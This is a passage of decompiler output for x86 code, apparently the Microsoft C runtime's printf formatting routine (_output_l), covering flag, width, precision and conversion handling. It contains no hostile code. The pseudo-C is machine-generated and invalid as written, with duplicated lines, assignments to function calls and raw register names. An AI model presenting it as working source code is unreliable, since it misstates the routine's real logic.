															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428358; // 0x7c0f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428344))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4283c4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428388))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AEF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xd5b65caa
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xd44284aa
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xd44114aa
																					E00424760(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E00428400(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428440(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00428400(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428400(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428400(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E00428400(__ebp + 0x14);
																	__eax = E00433FB0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E420();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																		__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEC0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BD60(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428400(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
